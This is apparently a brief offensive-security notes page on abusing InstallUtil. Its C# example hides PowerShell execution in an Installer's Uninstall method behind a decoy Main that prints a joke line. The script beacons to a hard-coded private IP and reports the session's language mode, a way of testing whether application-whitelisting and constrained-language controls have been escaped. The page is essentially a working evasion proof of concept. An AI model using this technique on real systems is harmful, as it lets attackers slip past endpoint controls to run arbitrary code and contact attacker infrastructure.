InstallUtil
Overview
Example code
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace RFC_InstallUtilPwsh
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("These aren't the droids you're looking for.");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
PowerShell powershell = PowerShell.Create();
powershell.Runspace = runspace;
string beacon_command = "Invoke-WebRequest -Uri http://192.168.45.208/HelloThere/$($ExecutionContext.SessionState.LanguageMode)";
powershell.AddScript(beacon_command);
powershell.Invoke();
runspace.Close();
}
}
}Last updated